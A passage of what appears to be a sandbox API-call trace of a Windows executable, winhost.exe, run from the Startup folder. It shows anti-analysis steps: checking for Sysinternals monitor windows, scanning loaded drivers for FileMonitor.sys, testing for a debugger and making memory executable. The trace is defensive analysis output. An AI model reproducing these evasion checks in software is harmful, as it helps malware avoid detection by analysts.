(lpString1="Filem", lpString2="mount") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0259.887] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0259.888] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0259.889] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.890] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.893] FindWindowA (lpClassName="RegmonClass", lpWindowName=0x0) returned 0x0 [0259.893] FindWindowA (lpClassName=0x0, lpWindowName="Registry Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.893] FindWindowA (lpClassName="18467-41", lpWindowName=0x0) returned 0x0 [0259.893] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.893] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.893] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.893] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0259.900] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0259.900] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x6aed9f | out: lpflOldProtect=0x6aed9f*=0x40) returned 1 [0259.900] VirtualProtect (in: lpAddress=0x7736000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0259.901] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x493931 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.901] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6b2aee, nSize=0x100 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0259.901] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")) returned 1 [0259.902] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0259.902] GetVersion () returned 0x1db10106 [0259.902] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.902] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.902] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0259.902] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0259.903] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0259.906] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.906] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0259.906] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.906] LoadLibraryA (lpLibFileName="version.dll") returned 0x74e30000 [0259.908] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76940000 [0259.908] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0259.908] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.908] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0259.908] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x74da0000 [0259.914] LoadLibraryA (lpLibFileName="comdlg32.dll") returned 0x76ed0000 [0260.045] SetCurrentDirectoryA (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1 [0260.052] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x493931, nSize=0x200 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0260.052] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xb0 [0260.053] CreateFileMappingA (hFile=0xb0, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0xf8 [0260.053] MapViewOfFile (hFileMappingObject=0xf8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2560000 [0260.097] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000 [0261.702] FreeLibrary (hLibModule=0x0) returned 0 [0261.703] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.710] UnmapViewOfFile (lpBaseAddress=0x2560000) returned 1 [0261.760] CloseHandle (hObject=0xf8) returned 1 [0261.760] CloseHandle (hObject=0xb0) returned 1 [0261.760] GetLocalTime (in: lpSystemTime=0x6c9d3c | out: lpSystemTime=0x6c9d3c*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x38, wMilliseconds=0x37b)) [0261.760] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0261.762] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x290000 [0261.762] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x2) returned 1 [0261.763] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6d3e62 | out: Wow64Process=0x6d3e62) returned 1 [0261.767] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x6d9a19 | out: pbDebuggerPresent=0x6d9a19) returned 1 [0261.781] VirtualProtect (in: lpAddress=0x401000, dwSize=0x30000, flNewProtect=0x40, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x80) returned 1 [0261.828] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0261.828] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0261.828] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0261.828] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0261.828] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2a0000 [0261.829] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0261.829] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0261.829] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x2a0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x2a0000, ResultLength=0x0) returned 0x0 [0261.829] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0261.830] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0261.831] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0261.832] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0261.833] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0261.834] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0261.835] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0261.835] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0261.835] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0261.835] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", 